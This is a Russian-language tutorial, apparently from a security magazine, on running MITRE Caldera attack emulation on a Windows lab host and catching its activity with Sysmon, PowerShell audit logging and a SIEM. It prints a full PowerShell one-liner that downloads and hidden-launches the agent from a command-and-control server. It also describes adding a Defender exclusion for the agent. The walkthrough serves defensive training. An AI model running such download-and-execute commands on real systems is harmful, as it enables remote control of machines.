Мы при­вык­ли думать, что у нас всег­да все хорошо в пла­не информа­цион­ной безопас­ности. Что­бы удос­товерить­ся в этом, некото­рые ком­пании про­водят пен­тест. Но сущес­тву­ет спо­соб убе­дить­ся в сво­ей готов­ности к кибер­нападе­ниям и без пен­теста. Какой? Сей­час рас­ска­жем!

Речь пой­дет об авто­мати­зиро­ван­ной сис­теме эму­ляции дей­ствий зло­умыш­ленни­ков под наз­вани­ем Caldera. Мы рас­ска­жем об ее устрой­стве, нас­трой­ке и о том, как эти нехоро­шие активнос­ти мож­но пой­мать с помощью бес­плат­ных средств для вин­ды — ути­литы Sysmon и пра­виль­ной нас­трой­ки политик ауди­та в сис­теме. Статья рас­счи­тана на нович­ков и содер­жит мно­го полез­ных прак­тичес­ких советов. Пог­нали!

warning

Ин­форма­ция пре­дос­тавле­на исклю­читель­но в учеб­ных целях. Пожалуй­ста, соб­людай законо­датель­ство и не при­меняй изло­жен­ную в статье информа­цию в незакон­ных целях.

Caldera — это авто­мати­зиро­ван­ная сис­тема эму­ляции дей­ствий зло­умыш­ленни­ков на конеч­ных рабочих стан­циях, соз­данная ком­пани­ей MITRE. Caldera поз­воля­ет про­водить прак­тичес­кие тес­ты информа­цион­ной безопас­ности с исполь­зовани­ем раз­личных сце­нари­ев атак. Сис­тема с помощью фрей­мвор­ка ATT&CK эму­лиру­ет поведе­ние ата­кующе­го, как буд­то про­исхо­дит реаль­ное втор­жение. Caldera пос­тавля­ется с нес­коль­кими заранее соз­данны­ми шаб­лонами поведе­ния зло­умыш­ленни­ков, а допол­нитель­ные пла­гины к сис­теме под­клю­чают новые фун­кции и пат­терны атак.

В сис­теме Caldera два ком­понен­та:

  • ос­новная сис­тема. Это код фрей­мвор­ка из репози­тория. Он вклю­чает в себя асин­хрон­ный C&C-сер­вер (C2) с REST API и веб‑интерфей­сом;
  • пла­гины. Рас­ширя­ют основные воз­можнос­ти фрей­мвор­ка и пре­дос­тавля­ют допол­нитель­ные фун­кции. К при­меру, поль­зователь может вес­ти отчетность и прив­лекать раз­личных аген­тов для уста­нов­ки на конеч­ные точ­ки.

Вот спи­сок всех акту­аль­ных на текущий момент пла­гинов, уста­нов­ленных по умол­чанию в кон­тей­нере:

  • Access — инс­тру­мен­ты пер­воначаль­ного дос­тупа для Red Team (ата­кующей коман­ды);
  • Atomic — про­ект Atomic Red Team, пла­гин поз­воля­ет сопос­тавлять вре­донос­ную активность с соот­ветс­тву­ющей так­тикой и запус­кать мини‑активнос­ти;
  • Builder — динами­чес­кая ком­пиляция полез­ных наг­рузок для аген­та;
  • CalTack — встра­ивает в Caldera веб‑сайт ATT&CK;
  • Compass — добав­ляет визу­али­зацию ATT&CK;
  • Debrief — выпол­няет ана­лиз про­води­мых ком­паний и ана­лити­ку;
  • Emu — пла­ны эму­ляции дей­ствий раз­личных групп зло­умыш­ленни­ков от CTID (Center for Threat-Informed Defense);
  • Fieldmanual — ведение докумен­тации;
  • GameBoard — монито­ринг сов­мес­тных дей­ствий «крас­ных» и «синих» команд;
  • Human — ими­тация дей­ствий поль­зовате­лей на конеч­ных точ­ках, что­бы запутать ата­кующих;
  • Manx — под­дер­жка полез­ных наг­рузок Shell и Reverse Shell;
  • Mock — ими­тация аген­тов в опе­раци­ях;
  • Response — пла­гин для авто­ном­ного реаги­рова­ния на инци­ден­ты (да, мож­но нас­тро­ить авто­мати­чес­кий «блю­тиминг» от Caldera на ее же собс­твен­ный «ред­тиминг»);
  • Sandcat — агент по умол­чанию, исполь­зуемый в опе­раци­ях;
  • SSL — добав­ление под­дер­жки HTTPS для Caldera;
  • Stockpile — склад раз­личных тех­ник и готовых про­филей зло­умыш­ленни­ка;
  • Training — сер­тифика­ция и учеб­ный курс, поз­воля­ющий стать экспер­том в сфе­ре Caldera; сос­тоит из заданий, которые надо выпол­нить в Caldera для получе­ния ста­туса спе­циалис­та.
 

Подготовка стенда

Мож­но уста­новить Caldera в виде Docker-кон­тей­нера на машину с Windows. В таком слу­чае не нуж­но будет возить­ся с интер­пре­тато­рами Python и дру­гими свя­зан­ными ком­понен­тами, да и кон­тей­нер про­ще в нас­трой­ке для нович­ков. Кон­тей­нер уста­нав­лива­ем с помощью при­ложе­ния Docker Desktop, на хос­те дол­жно при­сутс­тво­вать хотя бы два ненаг­ружен­ных ядра про­цес­сора и два гигабай­та опе­рати­вы.

Вот так выг­лядит уста­нов­ленный и запущен­ный кон­тей­нер. Обра­ти вни­мание на проб­рошен­ные пор­ты.

Запущенный контейнер Caldera в Docker Desktop на ОС Windows
За­пущен­ный кон­тей­нер Caldera в Docker Desktop на ОС Windows

Нам нуж­но перей­ти в логи кон­тей­нера, что­бы пос­мотреть логин и пароль для вхо­да на веб‑интерфейс. Для это­го щел­кни на име­ни кон­тей­нера, затем перей­ди на вклад­ку Logs. Дан­ные для вхо­да выделе­ны крас­ным, они генери­руют­ся каж­дый раз заново при запус­ке кон­тей­нера. Учти, что при раз­ворачи­вании про­екта из сыр­цов имя поль­зовате­ля по умол­чанию — red, пароль — admin (или ищи их в кон­фигах — conf/local.yml, conf/default.yml). Интерфейс может нес­коль­ко отли­чать­ся от пред­став­ленно­го вари­анта.

Логи контейнера Caldera в Docker Desktop
Ло­ги кон­тей­нера Caldera в Docker Desktop

Для вхо­да в веб‑интерфейс на машине с Docker Desktop исполь­зует­ся адрес http://127.0.0.1:18890 (такой порт слу­шает­ся на локал­хосте и проб­расыва­ется внутрь кон­тей­нера на порт 8888). Исполь­зуй най­ден­ные логин и пароль из логов кон­тей­нера.

Пе­ред тем как начать нашу ата­кующую опе­рацию, давай под­робно рас­смот­рим мат­часть.

 

Начало работы с Caldera

Прак­тичес­ки любая ата­ка всег­да выпол­няет­ся с внеш­ним управле­нием — то есть с при­мене­нием коман­дно­го сер­вера (C&C). Что­бы «дер­гать за ниточ­ки» цель, необ­ходимо обес­печить связь с ата­куемо­го хос­та, поэто­му на него уста­нав­лива­ется спе­циаль­ный агент.

В веб‑интерфей­се перехо­дим на вклад­ку agents, затем в открыв­шемся вид­жете нажима­ем на кноп­ку под­готов­ки аген­та.

Вкладка agents в веб-интерфейсе Caldera
Вклад­ка agents в веб‑интерфей­се Caldera
Кнопка установки агента
Кноп­ка уста­нов­ки аген­та

Те­перь сле­дует опре­делить тип аген­та (GoLang-агент — самый популяр­ный), ука­зать плат­форму, на которой будем его раз­ворачи­вать, и оста­ется лишь запол­нить адрес нашего сер­вера управле­ния (на котором у нас раз­вернут кон­тей­нер) с ука­зани­ем пор­та веб‑интерфей­са.

Настройки агента
Нас­трой­ки аген­та

Пос­ле запол­нения ты уви­дишь коман­ду для уста­нов­ки аген­та на хос­те, с парамет­рами, которые мы ука­зали выше:

$server="http://192.168.0.242:18890"; $url="$server/file/download"; $wc=New-Object System.Net.WebClient; $wc.Headers.add("platform","windows"); $wc.Headers.add("file","sandcat.go"); $data=$wc.DownloadData($url); $name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"",""); get-process | ? | stop-process -f; rm -force "C:\Users\Public$name.exe" -ea ignore; [io.file]::WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null; Start-Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;

Вы­пол­ним эту коман­ду в PowerShell на машине, где пла­ниру­ется эму­лиро­вать активность ата­кующих. Для луч­шего эффекта рекомен­дуем уста­новить агент с пра­вами адми­нис­тра­тора. По умол­чанию Windows будет нам мешать, но мы соз­дадим необ­ходимые исклю­чения для кор­рек­тной уста­нов­ки. Инте­рес­но, что свой­ства работы это­го аген­та занесе­ны в базу зна­ний о вре­доно­сах в от­дель­ной статье Microsoft.

Исключение для агента в Windows Defender
Ис­клю­чение для аген­та в Windows Defender

Ес­ли уста­нов­ка прош­ла успешно, в веб‑интерфей­се появит­ся сле­дующее.

Успешно установленный агент
Ус­пешно уста­нов­ленный агент

Щел­кнув на этой стро­ке, мы смо­жем уви­деть парамет­ры хос­та и нас­трой­ки аген­та.

Параметры агента
Па­рамет­ры аген­та

Агент пока толь­ко уста­нов­лен и не выпол­няет никаких дей­ствий. Теперь под­готовим логиро­вание на нашем хос­те.

 

Подготовка мониторинга событий — Sysmon и журналы Windows

Стан­дар­тные инс­тру­мен­ты логиро­вания ОС Windows не поз­волят нам уви­деть мно­жес­тво инте­рес­ных событий, про­исхо­дящих в киш­ках сис­темы, поэто­му на целевую машину мы добавим Sysmon и нем­ного вол­шебс­тва.

Сис­темный монитор (Sysmon) — это служ­ба Windows и драй­вер устрой­ства. Рань­ше эта ути­лита была частью пакета прог­рам­мно­го обес­печения Sysinternals, теперь при­над­лежаще­го Microsoft. Уста­нов­ка Sysmon поз­воля­ет отсле­живать и регис­три­ровать сис­темные дей­ствия в жур­нале событий Windows. Он пре­дос­тавля­ет под­робные све­дения о соз­дании про­цес­сов, о сетевых под­клю­чени­ях и изме­нени­ях вре­мени соз­дания фай­лов.

Sysmon очень лег­ко уста­новить и раз­вернуть. Заг­рузить тул­зу мож­но с сай­та Microsoft (кста­ти, есть вер­сия и для Linux). Прог­рамма запус­кает­ся в качес­тве служ­бы. Основную слож­ность пред­став­ляет нас­трой­ка кон­фигура­ции, с исполь­зовани­ем которой ути­лита выпол­няет свою работу, но, к счастью, есть уже готовые и обка­тан­ные ва­риан­ты.

Ре­комен­дуем выб­рать кон­фигура­цию по умол­чанию — default (sysmonconfig.xml). Для уста­нов­ки кон­фигура­ции исполь­зуй такую коман­ду:

sysmon.exe -accepteula -i sysmonconfig.xml

От­сле­дить вре­донос­ные или ано­маль­ные явле­ния в сис­теме мож­но, собирая дан­ные, которые генери­руют аген­ты сбо­ра событий Windows (Event Collector) или SIEM (winlogbeat и дру­гие сто­рон­ние средс­тва). При рас­сле­дова­нии киберин­циден­тов это поз­волит понять, как зло­умыш­ленни­ки зак­репля­ются и дей­ству­ют в сети. Так, бла­года­ря ана­лизу событий в ОС мы узна­ли, что в ком­понен­тах бра­узе­ра Chrome исполь­зует­ся защита про­изводс­тва ком­пании ESET.

Для работы с событи­ями жур­налов Windows мы будем исполь­зовать сов­ремен­ную SIEM-сис­тему. На скрин­шотах ниже показан про­дукт «Лабора­тории Кас­пер­ско­го» KUMA (Kaspersky Unified Monitoring and Analysis Platform). В целом не так важ­но, как собирать эти события и где их ана­лизи­ровать, глав­ное — содер­жание!

 

Запуск Caldera-агента

Итак, мы име­ем на хос­те нас­тро­енное по умол­чанию логиро­вание Windows и уста­нов­ленный с некой кон­фигура­цией Sysmon. Теперь запус­тим агент‑ими­татор и пос­мотрим, что получит­ся.

Активности агента в веб-интерфейсе KUMA
Ак­тивнос­ти аген­та в веб‑интерфей­се KUMA

В сис­теме монито­рин­га (SIEM) мы отклю­чили все пра­вила кор­реляции (которые под­све­тили бы все подоз­ритель­ные активнос­ти). Наша задача — най­ти подоз­ритель­ные события вруч­ную. События отсорти­рова­ны по парамет­ру EventRecordID жур­налов ОС Windows — в SIEM это стол­бец ExternalID.

Что мы видим? Про­изо­шел запуск оснас­тки PowerShell (события до ID 50002), далее глаз цеп­ляет­ся за событие, в ходе которо­го из про­цес­са PowerShell соз­дает­ся новый файл (в стол­бце Name, который обоз­нача­ет суть события, сто­ит File Created). Соз­данный файл с име­нем sandcat-go.windows.exe запус­кает­ся на выпол­нение (Name = Image loaded). Здесь же мы видим его кон­троль­ную сум­му (ее мож­но исполь­зовать как IOC для поис­ка в раз­личных базах, нап­ример на VirusTotal). Вдо­бавок у это­го фай­ла нет циф­ровой под­писи. Подоз­ритель­но? Вро­де бы да.

Исполняемый файл агента с контрольной суммой и информацией по сертификату
Ис­полня­емый файл аген­та с кон­троль­ной сум­мой и информа­цией по сер­тифика­ту

Мы видим, что в под­писи отсутс­тву­ют зна­чения ряда полей. Срав­ни получен­ный резуль­тат с под­писью нор­маль­ного фай­ла, какого‑нибудь вин­дового сис­темно­го. В отли­чие от sandcat-go.windows.exe, у него запол­нена информа­ция о ком­пании и дру­гие харак­терные стро­ки.

Системный, хороший исполняемый файл с валидной информацией по сертификату
Сис­темный, хороший исполня­емый файл с валид­ной информа­цией по сер­тифика­ту

Файл однознач­но вызыва­ет сом­нения. Инте­рес­но, что дела­ет этот подоз­ритель­ный объ­ект пос­ле уста­нов­ки?

Закрепление подозрительного файла
Зак­репле­ние подоз­ритель­ного фай­ла

В пер­вую оче­редь вре­донос­ной прог­рамме нуж­но зак­репить­ся в сис­теме, и она про­писы­вает себя в авто­запуск в качес­тве служ­бы, исполь­зуя клю­чи реес­тра. Что даль­ше? У подоб­ных фай­лов обыч­но име­ется внеш­нее управле­ние, а зна­чит, дол­жны при­сутс­тво­вать и сетевые соеди­нения. Эти события логиру­ются, и боль­шой SIEM все видит (Name = Network connection detected).

Сетевая активность подозрительного файла
Се­тевая активность подоз­ритель­ного фай­ла

В сетевой активнос­ти учас­тву­ет сам сер­вер управле­ния (Caldera), так как в нас­трой­ках сетевой ком­муника­ции аген­та не исполь­зует­ся прок­си.

Че­го‑то не хва­тает, да? Кажет­ся, мы упус­тили сами коман­ды, которые про­исхо­дили в PowerShell... А ведь их мож­но отыс­кать, сто­ит толь­ко нем­ножко пот­рудить­ся. Для это­го нуж­но нас­тро­ить уро­вень логиро­вания в сис­теме. Нажима­ем Winkey + R и запус­каем gpedit.msc. В раз­деле «Кон­фигура­ция компь­юте­ра → Administrative Templates → Windows Components → Windows PowerShell» вклю­чаем ведение ауди­та по сле­дующим событи­ям.

Подкручиваем логирование в Windows
Под­кру­чива­ем логиро­вание в Windows

В свой­ствах пер­вого (вес­ти логиро­вание модулей) про­пиши в качес­тве Value знак * — это вклю­чит логиро­вание всех модулей PowerShell.

Настройка Turn on Module Logging
Нас­трой­ка Turn on Module Logging

А в свой­ствах вто­рого (вклю­чить регис­тра­цию бло­ков сце­нари­ев PowerShell) уста­нав­лива­ем фла­жок.

Настройка Turn on PowerShell ScriptBlock Logging
Нас­трой­ка Turn on PowerShell ScriptBlock Logging

Что­бы най­ти логи, наж­ми Win-R, запус­ти eventvwr, а затем в окне Application and Services Logs перей­ди в раз­дел Microsoft → Windows → PowerShell → Operational. Для про­вер­ки вве­ди в кон­соль PowerShell коман­ду whoami и най­ди ее в логах.

Работа логирования PowerShell
Ра­бота логиро­вания PowerShell

Те­перь точ­но будет инте­рес­нее!

 

Начало атаки

Что­бы запус­тить ата­ку по заранее под­готов­ленно­му сце­нарию, в веб‑интерфей­се Caldera выбира­ем пункт меню Operations, затем при­думы­ваем имя опе­рации и ука­зыва­ем активность, которая будет эму­лиро­вать­ся. В нашем слу­чае это Discovery (один из эта­пов атак выпол­нения раз­ведки, под­робнее о нем читай на сай­те MITRE, а допол­нитель­ные под­робнос­ти — в этой статье). Так­же мож­но запол­нить и дру­гие парамет­ры опе­рации, но ты это сде­лаешь, ког­да наберешь­ся опы­та.

Создание операции в интерфейсе Caldera
Соз­дание опе­рации в интерфей­се Caldera

Пос­ле нажатия кноп­ки Start агент начина­ет дей­ство­вать, весь про­цесс пос­ледова­тель­но отоб­ража­ется на экра­не, а звез­дами обоз­нача­ются успешно выпол­ненные коман­ды.

Результат выполнения операции в интерфейсе Caldera
Ре­зуль­тат выпол­нения опе­рации в интерфей­се Caldera

В ходе эму­ляции ата­ки про­веря­лись раз­личные парамет­ры: какие юзе­ры есть в сис­теме, уста­нов­лен ли анти­вирус и так далее. Про­иллюс­три­руем в качес­тве при­мера, как Caldera опре­деля­ет, при­сутс­тву­ет ли в сис­теме анти­вирус. Дела­ется это с помощью три­виаль­ного WMI-зап­роса. Про­вер­ка показа­ла, что на хос­те уста­нов­лен стан­дар­тный Windows Defender.

Результат проверки наличия антивируса в ходе операции
Ре­зуль­тат про­вер­ки наличия анти­виру­са в ходе опе­рации

Вер­немся к SIEM. Теперь сре­ди соб­ранных событий, которых вне­зап­но ста­ло боль­ше, мож­но отсле­дить, под учет­кой какого поль­зовате­ля дей­ство­вали «зло­умыш­ленни­ки» (его SID) и какие кон­соль­ные коман­ды они выпол­няли.

Обнаружение проверки наличия антивируса агентом в SIEM
Об­наруже­ние про­вер­ки наличия анти­виру­са аген­том в SIEM

Поп­робу­ем нем­ного усложнить задачу для защит­ников: будем исполь­зовать обфусци­рован­ные коман­ды PowerShell и пос­мотрим, как они выг­лядят в логах. Для это­го соз­дадим новую опе­рацию Obfuscation_Commands с эму­ляци­ей активнос­тей чер­вя. Фун­кция обфуска­ции нас­тра­ивает­ся в парамет­рах скрыт­ности (stealth).

Настройка обфускации команд в операции
Нас­трой­ка обфуска­ции команд в опе­рации

При выпол­нении опе­рации мож­но запус­кать некото­рые коман­ды в кон­соли вруч­ную и получать вывод.

Ручное выполнение команд в операции
Руч­ное выпол­нение команд в опе­рации

Но руч­ная коман­да получи­лась необ­фусци­рован­ной. Пос­мотрим, что будет при запус­ке нашей «зачер­влен­ной» ком­пании.

Загадочная команда в операции
За­гадоч­ная коман­да в опе­рации

Ко­ман­ды запус­кают­ся с клю­чом -Enc или -E. Если ты однажды заметишь подоб­ное, всег­да обра­щай на это прис­таль­ное вни­мание: обыч­но это что‑то опас­ное. В жур­налах сис­темы у нас про­исхо­дит кое‑что поин­терес­нее: сна­чала выпол­нялась абра­кадаб­ра, а потом мы явно видим эту коман­ду (чудо ауди­та!). На иллюс­тра­ции стрел­ками ука­заны RecordID в жур­нале, соот­ветс­тву­ющие инте­ресу­ющим нас записям.

Разгадка загадочной команды в операции
Раз­гадка загадоч­ной коман­ды в опе­рации

Та­ким обра­зом, мы симули­рова­ли дей­ствия ата­кующе­го с помощью Caldera. С этим фрей­мвор­ком лег­ко про­вес­ти ата­ку подоб­но Red Team и про­качать навыки Blue и Purple Team.

 

Выводы

Те­перь ты готов тес­тировать свою инфраструк­туру! В статье мы рас­ска­зали о базовых вещах, которые помогут быс­трее начать поль­зовать­ся этим инс­тру­мен­том. Все шиш­ки мы набили за тебя, но на вся­кий слу­чай дер­жи в помощь до­кумен­тацию.

Ка­кие выводы мож­но сде­лать, про­ана­лизи­ровав эту смо­дели­рован­ную ата­ку?

  • Хра­нить жур­налы ОС и сис­тем безопас­ности нуж­но не толь­ко на самой рабочей стан­ции, но и в отдель­ном мес­те — там их зло­дей хотя бы не сот­рет.
  • Ве­дение рас­ширен­ных жур­налов с помощью Sysmon всег­да полез­но и к тому же бес­плат­но. Но в зависи­мос­ти от кон­фигура­ции может вырас­ти наг­рузка на хост.
  • Про­вес­ти эму­ляцию атак не так уж и слож­но.

Для сба­лан­сирован­ной нас­трой­ки политик ауди­та, в том чис­ле для ведения жур­налов в раз­личных сис­темах, сле­дует при­дер­живать­ся ре­комен­даций Microsoft.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии